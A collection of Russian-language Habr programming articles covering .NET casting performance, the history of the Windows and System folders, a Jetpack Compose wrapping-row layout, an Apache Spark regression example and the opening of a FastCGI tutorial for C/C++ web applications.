IL\_005c: callvirt instance bool [mscorlib]System.Collections.IEnumerator::MoveNext()
IL\_0061: brtrue.s IL\_004c
// конец цикла
IL\_0063: leave.s IL\_0071
} // конец блока .try
finally
{
IL\_0065: ldloc.s CS$5$0002
IL\_0067: brfalse.s IL\_0070
IL\_0069: ldloc.s CS$5$0002
IL\_006b: callvirt instance void [mscorlib]System.IDisposable::Dispose()
IL\_0070: endfinally
} // конец обработчика
```
У нас 4 вызова виртуальных методов, блок try-finally и (здесь не показано) выделение памяти для локальной переменной перечислителя, в которой отслеживается состояние перечисления. Такая операция гораздо затратнее, чем обычный цикл for: используется больше процессорного времени и больше памяти!
Не забывайте, что базовая структура данных здесь — по-прежнему массив, а значит, цикл *for* использовать можно — но мы идем на обфускацию, приводя тип к интерфейсу *IEnumerable*. Здесь важно учитывать факт, уже упоминавшийся в начале статьи: глубокая оптимизация производительности часто идет вразрез с абстракциями кода. Так, *foreach* — это абстракция цикла, *IEnumerable* – абстракция коллекции. Вместе они дают такое поведение, которое исключают простую оптимизацию с применением цикла *for*, перебирающего массив.
Приведение
В принципе, следует по возможности избегать приведения. Приведение часто свидетельствует о некачественном дизайне классов, но иногда оно действительно требуется. Так, к приведению приходится прибегать при преобразовании чисел со знаком в беззнаковые, например, когда мы работаем с различными сторонними API. Приведение объектов должно происходить гораздо реже.
Приведение объектов никогда не обходится без издержек, но стоимость такой операции может разительно отличаться в зависимости от отношений между объектами. Привести предка к нужному потомку значительно затратнее, чем выполнить обратную операцию, и стоимость такой операции тем выше, чем крупнее иерархия. Приведение к интерфейсу обходится дороже, чем приведение к конкретному типу.
Абсолютно недопустимо неверное приведение. Если оно произойдет, вы получите исключение *InvalidCastException*, стоимость которого на порядки превысит «цену» операции приведения.
См. проект *CastingPerf* в исходном коде к этой книге, где отмечено количество приведений тех или иных типов.
При тестовом прогоне на моем компьютере получился такой результат:
```
JIT (ignore): 1.00x
No cast: 1.00x
Up cast (1 gen): 1.00x
Up cast (2 gens): 1.00x
Up cast (3 gens): 1.00x
Down cast (1 gen): 1.25x
Down cast (2 gens): 1.37x
Down cast (3 gens): 1.37x
Interface: 2.73x
Invalid Cast: 14934.51x
as (success): 1.01x
as (failure): 2.60x
is (success): 2.00x
is (failure): 1.98x
```
Оператор ‘is’ — это приведение, тестирующее результат и возвращающее булево значение.
Оператор ‘as’ напоминает стандартное приведение, но возвращает null, если приведение не срабатывает. Как видно из вышеприведенных результатов, эта операция гораздо быстрее, чем выдача исключения.
Никогда не применяйте такой паттерн, где делается два приведения:
```
if (a is Foo)
{
Foo f = (Foo)a;
}
```
Лучше используйте для приведения ‘as’ и кэшируйте результат, а потом проверяйте возвращаемое значение:
```
Foo f = a as Foo;
if (f != null)
{
...
}
```
Если приходится выполнить проверку для множества типов, то сначала указывайте наиболее распространенный тип.
**Примечание**: Мне приходится регулярно сталкиваться с одним неприятным преобразованием, когда используется *MemoryStream.Length* типа *long*. Большинство API, сталкивающихся с этим, используют ссылку на базовый буфер (извлекаемую из метода *MemoryStream.GetBuffer*), смещение и длину, которая часто относится к типу int. Таким образом, возникает необходимость нисходящего преобразования от *long*. Подобные преобразования могут быть регулярными и неизбежными. | https://habr.com/ru/post/260623/ | null | ru | null |
# В чём различие между папками Windows и System?
*(Windows была выпущена 20 ноября 1985. Сегодня ей исполняется 25. С днём рождения!)*
В Windows API с самого начала есть две отдельные функции `GetWindowsDirectory` и `GetSystemDirectory`. Почему недостаточно было одной? Обе эти системные папки защищены от записи, обе входят в PATH и в список поиска DLL-библиотек. Зачем было их разделять?
Аксакалы вспомнят, что в те давние времена назначение этих папок различалось. Папка Windows была доступна для записи, и именно в ней хранились все настройки пользователя. Например, функция `GetProfileInt` читает из файла `WIN.INI` в папке Windows, и функция `GetPrivateProfileInt`, если не указан полный путь INI-файла, по умолчанию работает с папкой Windows.
В те давние времена не было отдельных папок с профилями пользователей; в папке Windows, по сути, хранился профиль единственного пользователя в системе.
С другой стороны, большинство системных файлов Windows хранилось в папке System, и эта папка использовалась только для чтения. Даже если не было механизма, фактически запрещавшего запись в эту папку, — сама Windows никогда в неё не писала (исключая установку и удаление приложений, и прочие операции по настройке системы).
Разделение системных файлов на две папки позволяло Windows работать в нескольких различных конфигурациях.
###### Традиционная
На локальном диске каждого компьютера (на дискете, а у богачей — на жёстком диске) находится папка Windows, а в ней — папка System. Большинство пользователей Windows работали именно так. Хотя в этом случае ничто не запрещает пользователю запись в папку System, Windows при нормальной работе в неё не пишет.
###### Прошитая в ПЗУ
На локальном диске каждого компьютера находится папка Windows, а в ПЗУ-диске — папка System. ПЗУ-диск — это такой виртуальный диск, содержимое которого хранится не в оперативной памяти, а прошито в ПЗУ. Пользователям смартфонов и коммуникаторов вряд ли нужно подробнее объяснять, что это такое; а остальные могут представить себе флешку, навсегда защищённую от записи.
Поскольку содержимое папки System всё равно никогда не изменялось, прошивка её в ПЗУ позволяла сэкономить ценное место на дискете или (тем более!) на жёстком диске.
###### Сетевая
На локальном диске каждого компьютера находится папка Windows, но у него есть сетевые драйвера (обалдеть, чудеса какие!), и `AUTOEXEC.BAT` подключает сетевые диски с центрального сервера, поддержкой которого занимается IT-отдел компании. Этот сетевой диск мог бы выглядеть так:
| | |
| --- | --- |
| M:\SYSTEM | системные файлы Windows |
| M:\WINWORD | установленный Word для Windows |
| M:\123 | установленный Lotus 1-2-3 |
| ... | и т.д. |
Папки этого сетевого диска доступны только для чтения. Все компьютеры в компании подключаются к одному и тому же диску, и поэтому используют одни и те же физические файлы на сервере — и как часть системных файлов Windows, и как файлы установленных приложений. Если IT-отделу понадобится обновить или переустановить приложение, они могут просто отключить всех от сервера (или, если они более вежливые, то дождаться, пока все выйдут сами), разрешить запись на диск M:, обновить или переустановить нужное приложение, и вновь подключить M: только для чтения. Когда пользователи заходят обратно, — хлоп! — новое приложение уже готово к запуску на их компьютере.
###### Полностью сетевая
Компьютер загружается с ПЗУ-диска, с дискеты, с локального жёсткого диска, или по сети. При загрузке он подключает сетевые диски, на которых находятся и папка Windows (своя для каждого пользователя), и папка System (одна на всех). С этого момента Windows полностью работает по сети: файлы пользователя сохраняются в папку Windows на сервере, системные файлы читаются из папки System на сервере, и даже обращения к файлу подкачки идут на сервер. Такую конфигурацию обычно называли [бездисковой рабочей станцией](http://catb.org/jargon/html/D/dickless-workstation.html): после того, как Windows загружена, локальные диски больше не используются.
> [](http://windowsmuseum.info/Windows%201.01/about.html) [](http://windowsmuseum.info/Windows%202.03/about.html)
>
> *Наблюдательный пользователь заметит, что в Windows 1.x / 2.x* вовсе не было *папки System: она появилась только в Windows 3.0. Что же Реймонд имеет в виду?*
Как видите, изначально не требовалось, чтобы папка System располагалась внутри папки Windows, или чтобы одна из этих папок располагалась на загрузочном диске. Полагаю, теперь Windows уже не поддерживает большинство из перечисленных конфигураций. Но по крайней мере, теперь вы понимаете, зачем папки Windows и System были разделены. | https://habr.com/ru/post/108490/ | null | ru | null |
# Jetpack Compose Layouts
Иногда для вёрстки сложных экранов не хватает Row, Column, Box и других встроенных контейнеров, тогда нам приходится писать свои собственные. В этой статье мы напишем Row, который переносит дочерние элементы на следующую строку в случае недостатка места.
Эта статья поделена на 2 части: базовую и продвинутую.
Для создания собственных контейнеров в Compose используется элемент Layout:
```
@Composable
fun Layout(content: @Composable () -> Unit, modifier: Modifier = Modifier, measurePolicy: MeasurePolicy)
```
* content - тело контейнера, содержащее все дочерние элементы.
* measurePolicy - объект, отвечающий за расположение элементов внутри контейнера
Основной элемент будет выглядеть так:
```
@Composable
inline fun RowWithWrap(
modifier: Modifier = Modifier,
verticalSpacer: Dp = 0.dp,
horizontalSpacer: Dp = 0.dp,
content: @Composable () -> Unit
) {
Box(modifier) {
Layout(
content = content,
measurePolicy = rowWithWrapMesaurePolicy(verticalSpacer, horizontalSpacer)
)
}
}
```
* verticalSpacer и horizontalSpacer - отступы между элементами по вертикали и горизонтали соответственно.
* Box(modifier) - это небольшой костыль. Заставить Layout корректно обработать Modifier на уровне базовой статьи мы не можем. Это мы решим в продвинутой статье.
* rowWithWrapMesaurePolicy создаёт политику расположения элементов исходя из отступов. Это так же понадобится в продвинутой статье
```
@Composable
fun rowWithWrapMesaurePolicy(
verticalSpacer: Dp = 0.dp,
horizontalSpacer: Dp = 0.dp
): MeasurePolicy = remember(verticalSpacer, horizontalSpacer) {
MeasurePolicy { measurables: List, constraints: Constraints ->
val positions = rowWithWrapRelativePositions(constraints, measurables, verticalSpacer, horizontalSpacer)
val width = maxOf(positions.maxOf { it.maxXCoordinate }, constraints.minWidth)
val height = minOf(maxOf(positions.maxOf { it.maxYCoordinate }, constraints.minHeight), constraints.maxHeight)
layout(width, height) {
for ((placeable, dx, dy) in positions) {
placeable.placeRelative(dx, dy)
}
}
}
}
```
* Нам необходимо использование remember, чтобы не создавать лишних объектов каждую рекомпозицию.
* MeasurePolicy - интерфейс с одним не реализованным, так что мы можем использовать лямбда выражение.
* measurables - все дочерние элементы контейнера.
* constraints - ограничения в размерах
* Метод rowWithWrapRelativePositions вычисляет расположение всех элементов относительно верхнего левого угла контейнера. Возвращает наш дата-класс, но об этом далее.
* layout(width, height) устанавливает размеры контейнера. Внутри него мы располагаем все элементы на вычисленных ранее местах.
```
private fun MeasureScope.rowWithWrapRelativePositions(
constraints: Constraints,
measurables: List,
verticalSpacer: Dp,
horizontalSpacer: Dp
): List {
val res = mutableListOf()
var x = 0
var y = 0
var maxHeight = -1
for (measurable in measurables) {
val placeable = measurable.measure(constraints)
if (placeable.width + x > constraints.maxWidth) {
y += maxHeight + verticalSpacer.roundToPx()
x = 0
maxHeight = -1
}
res += PlaceableRelativePosition(placeable, x, y)
x += placeable.width + horizontalSpacer.roundToPx()
maxHeight = maxOf(maxHeight, placeable.height)
}
return res
}
private data class PlaceableRelativePosition(val placable: Placeable, val dx: Int, val dy: Int)
private val PlaceableRelativePosition.maxXCoordinate: Int
get() = dx + placable.width
private val PlaceableRelativePosition.maxYCoordinate: Int
get() = dy + placable.height
```
* Measurable::measure вычисляет размеры дочернего элемента исходя из внешних ограничений.
* maxXCoordinate и maxYCoordinate - это самое правое и нижнее занятые места соответственно.
Результат:
 | https://habr.com/ru/post/691954/ | null | ru | null |
# Маленький код для больших данных или Apache Spark за 3 дня
*Пусть Жираф был не прав,
Но виновен не Жираф,
А тот, кто крикнул из ветвей:
«Жираф большой — ему видней!» (с)*
Потребовалось оперативно разобраться с технологией [Apache Spark](http://spark.apache.org) заточенную для использования Big Data. В процессе выяснения активно использовал habrahabr, так что попробую вернуть информационный должок, поделившись приобретенным опытом.
А именно: установкой системы с нуля, настройкой и собственно программированием кода решающего задачу обработки данных для создания модели, вычисляющей вероятность банкротства клиента банка по набору таких признаков как сумма кредита, ставка и т.д.
Больших данных вроде как должно быть много, но почему-то не просто найти то злачное место, где их все щупают. Сначала попробовал вариант с [ambari](http://ihorbobak.com/index.php/2015/05/06/installing-hadoop-using-ambari-server), но на моей Window7 валились ошибки настроек сетевого моста. В итоге прокатил вариант с преднастроенной виртуальной машиной от Cloudera ([CDH](http://www.cloudera.com/downloads/quickstart_vms/5-8.html)). Просто устанавливаем VirtualBox, запускаем скачанный файл, указываем основные параметры (память, место) и через 5 минут достопочтенный ~~джин~~ [Apache Hadoop](http://hadoop.apache.org) жаждет ваших указаний.
Несколько слов, почему именно Spark. Насколько я понимаю, ключевые отличия от изначальной MapReduce в том, что данные удерживаются в памяти, вместо сброса на диск, что дает ускорение во много раз. Но, пожалуй, более важны реализации целого ряда статистических функций и удобным интерфейсом для загрузки/обработки данных.
Дальше собственно код для решения следующей задачи. Есть реально большие данные (ибо рука очень устает скролить эти 2000 строк) в формате:
Есть предположение, что дефолт как-то связан с остальными параметрами (кроме первого, к уважаемым Ивановым1…N претензий нет) и нужно построить модель линейной регрессии. Прежде чем начать, стоит оговориться, что это мой первый код на Java, сам я работаю аналитиком и вообще это мой первый запуск Eclipse, настройка Maven и т.д. Так что не стоит ждать изысканных чудес, ниже решение задачи в лоб тем способом, который почему-то заработал. Поехали:
1. Создаем Spark сессию. Важный момент – это все работает только с версии 2.0.0, тогда как в поставке CDH идет v1.6. Так что нужно сделать апгрейд, иначе будет исключение при запуске.
```
SparkSession ss = SparkSession
.builder()
.appName("Bankrupticy analyser")
.getOrCreate();
```
2. Загружаем данные в специальный тип JavaRDD. По сути это примерно как List в C#, по крайней мере я так это себе объяснил. Библиотека умеет читать много чего, но для начала сойдет обычный csv файл.
```
JavaRDD peopleRDD = ss.read()
.textFile(filename)
.javaRDD()
.map(new Function()
{
public Client call(String line) throws Exception
{
String[] parts = line.split(","); // Разделитель
Client client = new Client();
client.setName(parts[0]); // Парсим поля (ФИО в первой колонке)
client.setYearOfBirth(Double.parseDouble(parts[1]));
client.setAmount(Double.parseDouble(parts[2]));
client.setTerm(Double.parseDouble(parts[3]));
client.setRate(Double.parseDouble(parts[4]));
client.setPaid(Double.parseDouble(parts[5]));
client.setStatus(Double.parseDouble(parts[6])); // Тут признак банкротства (1 - банкрот, 0 – пока еще платит)
return client;
}
});
```
Где Client это обычный класс с нашими атрибутами (можно найти в файле проекта, по ссылке в конце поста).
3. Создаем датасет, который необходим для нормализации данных. Без нормализации расчет модели линейной регрессии методом градиентного спуска не прокатит. Сначала пытался прикрутить StandardScalerModel: fit -> transform но возникли проблемы c типами данных, кажется из-за разности версий. В общем, пока обошелся обходным решением, а именно через селект к данным, выполняя нормализацию прямо в нем:
```
Dataset clientDF = ss.createDataFrame(peopleRDD, Client.class);
clientDF.createOrReplaceTempView("client");
Dataset scaledData = ss.sql(
"SELECT name, (minYearOfBirth - yearOfBirth) / (minYearOfBirth - maxYearOfBirth),"
+ "(minAmount - amount) / (minAmount - maxAmount),"
+ "(minTerm - term) / (minTerm - maxTerm),"
+ "(minRate - rate) / (minRate - maxRate),"
+ "(minPaid - paid) / (minPaid - maxPaid),"
+ "(minStatus - status) / (minStatus - maxStatus) "
+ "FROM client CROSS JOIN "
+ "(SELECT min(yearOfBirth) AS minYearOfBirth, max(yearOfBirth) AS maxYearOfBirth,"
+ "min(amount) AS minAmount, max(amount) AS maxAmount,"
+ "min(term) AS minTerm , max(term) AS maxTerm,"
+ "min(rate) AS minRate, max(rate) AS maxRate,"
+ "min(paid) AS minPaid, max(paid) AS maxPaid,"
+ "min(status) AS minStatus, max(status) AS maxStatus "
+ "FROM client)").cache();
```
4. Модель принимает данные в формате JavaRDD в которые запихнем ФИО клиента. Это норм для красивого отображения тестового варианта, в жизни конечно так не стоит делать, хотя вообще подобное может понадобится для других целей.
```
JavaRDD rowData = scaledData.javaRDD(); // Dataset to JavaRDD
JavaRDD> parsedData = rowData.map(
new Function>()
{
public Tuple2 call(Row row)
{
int last = row.length();
String cname = row.getString(0); // Первый элемент - ФИО
double label = row.getDouble(last - 1); // Последний – признак дефолта
double[] v = new double[last];
for (int i = 1; i < last - 1; i++) // Посередине независимые переменные
v[i] = row.getDouble(i);
v[last - 1] = 1; // +intercept
return new Tuple2
(cname, new LabeledPoint(label, Vectors.dense(v)));
}
});
```
5. Выделим данные LabeledPoint для модели:
```
JavaRDD parsedDataToTrain = parsedData.map(
new Function, LabeledPoint>()
{
public LabeledPoint call(Tuple2 namedTuple)
{
return namedTuple.\_2(); // 2 означает второй элемент в составе
}
});
parsedData.cache();
```
6. Создаем собственно модель:
```
int numIterations = 200;
double stepSize = 2;
final LinearRegressionModel model
= LinearRegressionWithSGD.train(JavaRDD.toRDD(parsedDataToTrain), numIterations, stepSize);
```
7. И собственно основная работа + результат:
```
final NumberFormat nf = NumberFormat.getInstance(); // Для красоты вывода чисел
nf.setMaximumFractionDigits(2);
JavaRDD> valuesAndPreds = parsedData.map(
new Function, Tuple2>()
{
public Tuple2 call(Tuple2 namedTuple)
{
double prediction = model.predict(namedTuple.\_2().features()); // Расчет зависимой переменной для набора признаков данного клиента
System.out.println(namedTuple.\_1() + " got the score " + nf.format(prediction)
+ ". The real status is " + nf.format(namedTuple.\_2().label()));
return new Tuple2(prediction, namedTuple.\_2().label());
}
});
```
8. И посчитаем средний квадрат ошибки (из п. 7):
```
double MSE = new JavaDoubleRDD(valuesAndPreds.map(
new Function, Object>()
{
public Object call(Tuple2 pair)
{
return Math.pow(pair.\_1() - pair.\_2(), 2.0);
}
}).rdd()).mean();
```
В данном случае вывод будет выглядеть так:
Иванов1983 got the score 0.57. The real status is 1
Иванов1984 got the score 0.54. The real status is 1
Иванов1985 got the score -0.08. The real status is 0
Иванов1986 got the score 0.33. The real status is 1
Иванов1987 got the score 0.78. The real status is 1
Иванов1988 got the score 0.63. The real status is 1
Иванов1989 got the score 0.63. The real status is 1
Иванов1990 got the score 0.03. The real status is 0
Иванов1991 got the score 0.57. The real status is 1
Иванов1992 got the score 0.26. The real status is 0
Иванов1993 got the score 0.07. The real status is 0
Иванов1994 got the score 0.17. The real status is 0
Иванов1995 got the score 0.83. The real status is 1
Иванов1996 got the score 0.31. The real status is 0
Иванов1997 got the score 0.48. The real status is 0
Иванов1998 got the score 0.16. The real status is 0
Иванов1999 got the score 0.36. The real status is 0
Иванов2000 got the score -0.04. The real status is 0
16/11/21 21:36:40 INFO Executor: Finished task 0.0 in stage 176.0 (TID 176). 3194 bytes result sent to driver
16/11/21 21:36:40 INFO TaskSetManager: Finished task 0.0 in stage 176.0 (TID 176) in 432 ms on localhost (1/1)
16/11/21 21:36:40 INFO TaskSchedulerImpl: Removed TaskSet 176.0, whose tasks have all completed, from pool
16/11/21 21:36:40 INFO DAGScheduler: ResultStage 176 (mean at App.java:242) finished in 0.433 s
16/11/21 21:36:40 INFO DAGScheduler: Job 175 finished: mean at App.java:242, took 0.452851 s
Training Error = 0.11655428630639536
Теперь имеет смысл сравнить его с аналитическим решением в эксель:
Как видим, результат весьма близкий, модель получилась годная, можно натравливать на тестовую выборку. Код проекта с исходными данными можно скачать [тут](https://drive.google.com/open?id=0ByybUCqM917jSzJMZmd6emstRlE).
В целом хочется отметить, что ажиотаж вокруг больших данных представляется достаточно чрезмерным (бооольшим таким). Более ценным мне кажется скорее не объем, а то, как именно обрабатывать эти данные. Т.е. какая-нибудь комбинация TF-IDF — нейросеть — ALS может дать изумительный результат при возможности творчески поработать и на ограниченном объеме. Проблема наверное в том, что менеджеры могут выбивать бюджеты под магические слова Big Data, а потратить ресурс на просто исследовательские цели требует слишком долгосрочный горизонт планирования для обычной компании.
Для понимания данной мысли уточню, зоопарк экосистемы Hadoop (Hive, Pig, Impala и т.д.) шикарен. Я сам занимаюсь разработкой распределенной системы вычислений на нейросетях (одновременное выполнение многопоточных приложений на нескольких серверах с синхронизацией и агрегацией результатов) для макроэкономического моделирования и примерно понимаю сколько граблей лежит на этом пути. Да, есть задачи, где альтернатив этим технологиям нет — например примитивная, но потоковая онлайн обработка диких объемов данных (условно говоря какой-нибудь анализ трафика сотовых абонентов Москвы). Тут [Apache Storm](http://storm.apache.org) или Spark Streaming могут сотворить чудо.
Но если у нас есть массив данных по миллиону клиентов за год, то выборка каждого 10-го (или даже 100-го) случайным образом для построения модели какого-нибудь скоринга даст практически тот же результат что и полный массив. Иными словами, вместо королевы бала Data mining стала падчерицей, хотя скорее всего это временно. Ажиотаж спадет, но экспериментальные подходы обкатывающиеся сейчас на Hadoop-кластерах распространятся и те кто первыми осознает перспективы исследования «маленьких» данных окажется в дамках. | https://habr.com/ru/post/316088/ | null | ru | null |
# Web-приложение на C/C++ с помощью FastCGI — это просто
Добрый день.
В этой статье я бы хотел рассказать про протокол FastCGI и способы работы с ним. Не смотря на то, что сам протокол и его реализация появились ещё в 1996 году, подробных руководств по этому протоколу просто нет — разработчики так и не написали справки к собственной библиотеке. Зато года два назад, когда я только начал пользоваться этим протоколом, часто встречались фразы типа «я не совсем понимаю, как пользоваться этой библиотекой». Именно этот недостаток я и хочу исправить — написать подробное руководство по использованию данного протокола в многопоточной программе и рекомендации по выбору различных параметров, которым могли бы воспользоваться все желающие.
Хорошая новость — способ кодирования данных в FastCGI и в CGI одинаковый, меняется только способ их передачи: если CGI-программа использует интерфейс стандартного ввода-вывода, то FastCGI-программа — сокеты. Другими словами, нужно всего лишь разобраться с несколькими функциями библиотеки для работы с FastCGI, а дальше просто воспользоваться опытом написания CGI-программ, примеров которых, к счастью, очень много.
Итак, в этой статье мы рассмотрим:
— Что такое FastCGI и чем отличается от протокола CGI
— Зачем мне нужен FastCGI, когда уже есть много языков для разработки под веб
— Какие реализации протокола FastCGI существуют
— Что такое сокеты
— Описание функций библиотеки FastCGI
— Простой пример многопоточной FastCGI-программы
— Простой пример конфигурации Nginx
К сожалению, очень сложно написать статью одинаково понятной новичкам и интересной опытным старожилам, поэтому я буду стараться осветить все моменты как можно подробнее, а Вы можете просто пропустить неинтересные Вам разделы.
Что такое FastCGI?
------------------
Про FastCGI можно прочитать в [Википедии](http://ru.wikipedia.org/wiki/FastCGI). Если в двух словах, это CGI-программа, запущенная в цикле. Если обычная CGI-программа заново запускается для каждого нового запроса, то в FastCGI-программе используется очередь запросов, которые обрабатываются последовательно. А теперь представьте: на Ваш 4-8-ядерный сервер поступило 300-500 одновременных запросов. Обычная CGI-программа будет запущена на выполнение эти самые 300-500 раз. Очевидно, такого количества процессов слишком много — Ваш сервер физически не сможет отработать их все сразу. Значит, у Вас получится очередь процессов, ожидающих свой квант процессорного времени. Обычно планировщик будет распределять процессорное равномерно (так так в данном случае приоритеты всех процессов одинаковые), а значит у Вас будет 300-500 «почти готовых» ответов на запросы. Звучит как-то не очень оптимистично, не правда ли? В FastCGI-программе все эти проблемы решаются простой очередью запросов (то есть применяется мультиплексирование запросов).
Зачем мне FastCGI, когда уже есть PHP, Ruby, Python, Perl и т.п.?
-----------------------------------------------------------------
Пожалуй, главная причина — компилируемая программа будет работать быстрее интерпретируемой. Для PHP, например, существует целая линейка акселераторов, среди которых — APC, eAccelerator, XCache, которые уменьшают время интерпретации кода. Но для C/C++ всё это просто не нужно.
Второе, о чём Вы должны помнить — динамическая типизация и сборщик мусора занимают много ресурсов. Иногда — очень много. Например, [массивы целых чисел в PHP занимают примерно в 18 раз больше памяти](http://habrahabr.ru/post/141093/) (до 35 раз в зависимости от различных параметров компиляции PHP), чем в C/C++ для того же объема данных, поэтому задумайтесь о накладных расходах для сравнительно больших структур данных.
Третье — FastCGI-программа может хранить общие для разных запросов данные. Например, если PHP каждый раз начинает обработку запроса с «чистого листа», то FastCGI-программа может сделать ряд подготовительных действий ещё до поступления первого запроса, например выделить память, загрузить часто используемые данные и т.п. — очевидно, всё это может повысить общую производительность системы.
Четвёртое — масштабируемость. Если mod\_php предполагает, что веб-сервер Apache и PHP находятся на одной и той же машине, то FastCGI-приложение может использовать TCP-сокеты. Другими словами, у Вас может быть целый кластер из нескольких машин, связь с которыми осуществляется по сети. При этом FastCGI также поддерживает Unix domain sockets, что позволяет при необходимости эффективно запускать FastCGI-приложение и веб-сервер на одной и той же машине.
Пятое — безопасность. Вы не поверите, но с настройками по умолчанию Apache позволяет выполнять всё на свете. Например, если злоумышленник загрузит на сайт вредоносный скрипт exploit.php.jpg под видом «невинной картинки» и потом откроет её в браузере, Apache «честно» выполнит вредоносный php-код. Пожалуй, единственное достаточно надежное решение — удалять или изменять все потенциально опасные расширения из имен загружаемых файлов, в данном случае — php, php4, php5, phtml и т.п. Такой приём используется, например, в Drupal — ко всем «дополнительным» расширениям добавляется символ подчеркивания и получается exploit.php\_.jpg. Правда следует отметить, что системный администратор может добавить любое дополнительное расширение файла в качестве обработчика php, так что какое-нибудь .html может вдруг превратиться в ужасную дыру в безопасности только из-за того, что .php выглядело некрасиво, было плохо для SEO или не нравилось заказчику. Итак, что же нам даёт в плане безопасности FastCGI? Во первых, если использовать вместо Apache веб-сервер Nginx, то он будет просто отдавать статические файлы. Точка. Другими словами, файл exploit.php.jpg будет отдан «как есть», без какой-либо обработки на стороне сервера, так что запустить вредоносный скрипт просто не получится. Во вторых, FastCGI-программа и веб-сервер могут работать из под разных пользователей, а значит и права на файлы и папки у них будут разные. Например, веб-сервер может только читать загруженные файлы — для отдачи статических данных этого достаточно, а FastCGI-программа может только читать и изменять содержимое папки с загружаемыми файлами — этого достаточно для загрузки новых и удаления старых файлов, но доступа непосредственно к самим загруженным файлам иметь не будет, а значит выполнить вредоносный код тоже не сможет. В третьих, FastCGI-программа может работать в chroot'е, отличном от chroot'а веб-сервера. Сам по себе chroot (смена корневой директории) позволяет сильно ограничить права программы, то есть повысить общую безопасность системы, потому что программа просто не сможет получить доступ к файлам за пределами указанного каталога.
Какой веб-сервер с поддержкой FastCGI лучше выбрать?
----------------------------------------------------
Если коротко — я пользуюсь [Nginx](http://ru.wikipedia.org/wiki/Nginx). Вообще, серверов с поддержкой FastCGI довольно много, в том числе коммерческих, так что позвольте рассмотреть несколько альтернатив.
Apache — пожалуй, это первое, что приходит в голову, правда он потребляет гораздо больше ресурсов, чем Nginx. Например, на 10 000 неактивных HTTP keep-alive соединений Nginx расходует около 2,5M памяти, что вполне реально даже для сравнительно слабой машины, а Apache вынужден создавать новый поток для каждого нового соединения, так что 10 000 потоков — просто фантастика.
[Lighttpd](http://ru.wikipedia.org/wiki/Lighttpd) — главный недостаток этого веб-сервера в том, что он обрабатывает все запросы в одном потоке. Это значит, что могут быть проблемы с маштабируемостью — Вы просто не сможете задействовать все 4-8 ядер современных процессоров. И второе — если по какой-то причине подвиснет поток веб-сервера (например из-за длительного ожидания ответа от жесткого диска), у вас «зависнет» весь сервер. Другими словами, все остальные клиенты перестанут получать ответы из-за одного медленного запроса.
Еще один кандидат — [Cherokee](http://ru.wikipedia.org/wiki/Cherokee_HTTP_Server). По заявлениям разработчиков, в ряде случаев работает быстрее Nginx и Lighttpd.
Какие есть реализации протокола FastCGI?
----------------------------------------
На данный момент есть две реализации протокола FastCGI — библиотека [libfcgi.lib](http://www.fastcgi.com/drupal/node/5) от создателей протокола FastCGI, и [Fastcgi++](http://www.nongnu.org/fastcgipp/) — библиотека классов на С++. Libfcgi разрабатывалась с 1996 года и, по заявлениям Open Market, является очень стабильной, к тому же более распространена, поэтому пользоваться в этой статье будем ей. Хочется отметить, что библиотека написана на C, встроенную «обертку» C++ нельзя назвать высокоуровневой, поэтому будем использовать C-интерфейс.
Думаю, на установке самой библиотеки останавливаться смысла нет — в ней есть makefile, так что проблем быть не должно. Кроме того, в популярных дистрибутивах эта библиотека доступна из пакетов.
Что такое сокеты?
-----------------
Общее понятие о сокетах можно получить в [Википедии](http://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D0%BA%D0%B5%D1%82_%28%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%BD%D1%8B%D0%B9_%D0%B8%D0%BD%D1%82%D0%B5%D1%80%D1%84%D0%B5%D0%B9%D1%81%29). Если в двух словах, сокеты — это способ межпроцессного взаимодействия.
Как мы помним, во всех современных операционных системах каждый процесс использует собственное адресное пространство. За непосредственный доступ к оперативной памяти отвечает ядро операционной системы, и если программа обратиться по несуществующему (в контексте данной программы) адресу памяти, ядро вернет segmentation fault (ошибка сегментирования) и закроет программу. Это замечательно — теперь ошибки в одной программе просто не могут повредить другим — они находятся как бы в других измерениях. Но раз у программ разное адресное пространство, от общих данных или обмена данными тоже быть не может. А если очень нужно передать данные из одной программы в другую, как тогда? Собственно, для решения этой проблемы и разрабатывались сокеты — два или более процесса (читайте: программы) подключаются к одному и тому же сокету и начинают обмен данными. Получается этакое «окно» в другой мир — через него можно получать и отправлять данные в другие потоки.
В зависимости от типа использования соединения сокеты бывают разные. Например, есть TCP-сокеты — они используют обычную сеть для обмена данными, то есть программы могут работать на разных компьютерах. Второй наиболее распространенный вариант — доменные сокеты Unix (Unix domain socket) — пригодны для обмена данными только в рамках одной машины и выглядят как обычный путь в файловой системе, но реально жесткий диск не используется — весь обмен данными происходит в оперативной памяти. Из-за того, что не нужно использовать сетевой стек, работают несколько быстрее (примерно на 10%), чем TCP-сокеты. Для ОС Windows данный вариант сокетов называется named pipe (именованный канал).
Примеры использования сокетов для ОС GNU/Linux можно найти в [этой статье](http://www.rsdn.ru/article/unix/sockets.xml). Если Вы еще не работали с сокетами, я бы рекомендовал с ней ознакомиться — это не является обязательным, но улучшит понимание изложенных здесь вещей.
Как пользоваться библиотекой Libfcgi?
-------------------------------------
Итак, мы хотим создать многопоточное FastCGI-приложение, поэтому разрешите описать ряд наиболее важных функций.
Прежде всего, библиотеку нужно инициализировать:
```
int FCGX_Init(void);
```
**Внимание!** Эту функцию нужно вызывать перед любыми другими функциями этой библиотеки и только один раз (всего один раз, для любого количества потоков).
Далее нам нужно открыть слушающий сокет:
```
int FCGX_OpenSocket(const char *path, int backlog);
```
Переменная path содержит строку подключения к сокету. Поддерживаются как доменные сокеты Unix, так и TCP-сокеты, всю необходимую работу по подготовке параметров и вызова функции библиотека сделает сама.
Примеры строк подключения для доменных сокетов Unix:
```
"/tmp/fastcgi/mysocket"
"/tmp/fcgi_example.bare.sock"
```
Думаю, тут всё понятно: нужно просто передать уникальный путь в виде строки, при этом все взаимодействующие с сокетом процессы должны иметь к нему доступ. Еще раз повторюсь: этот способ работает только в рамках одного компьютера, но несколько быстрее, чем TCP-сокеты.
Примеры строк подключения для TCP-сокетов:
```
":5000"
":9000"
```
